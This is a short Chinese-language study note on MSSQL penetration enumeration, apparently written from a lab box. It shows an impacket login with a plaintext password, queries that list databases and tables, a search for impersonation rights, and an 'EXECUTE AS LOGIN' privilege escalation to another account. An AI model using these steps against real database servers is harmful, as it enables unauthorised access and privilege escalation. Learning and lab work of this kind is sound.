Mssql渗透枚举
仅学习记录用
基本查询
使用impacket包的mssqlclient.py包进行连接
❯ mssqlclient.py 'kevin':'iNa2we6haRj2gaw!'@10.10.11.95
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (kevin guest@master)>
查询所有库名
SQL (appdev appdev@master)> select name from master.dbo.sysdatabases;
name
-----------------
master
tempdb
model
msdb
financial_planner
切换不同库
SQL (appdev appdev@master)> use financial_planner
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
查询库内所有表名
SQL (appdev appdev@financial_planner)> SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';
TABLE_NAME
-----------
users
incomes
expenses
allocations
analytics
visits
查表就很简单了 直接select * from 表名
渗透测试
本部分引用源 本文仅用与自己学习积累用 侵删烦请联系2071970042@qq.com
信息搜集
权限架构可分为以下三类 一般在渗透测试时也只需关注服务器级别主体和数据库级别主体

对服务器级别角色说明如下 可使用select is_srvrolemember('')来查询 查询结果为0/1

对数据库级别角色说明如下 可使用select IS_MEMBER('')来查询 查询结果为0/1

模拟登录
说实话为什么要保留这个功能不太理解 用以下指令查询可模拟登录的用户
SQL (kevin guest@master)> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
name
------
appdev
再用以下命令模拟登录
SQL (kevin guest@master)> EXECUTE AS LOGIN = 'appdev'
SQL (appdev appdev@master)>
这样就可以模拟某个用户登录 并以该用户的权限进行操作 wtf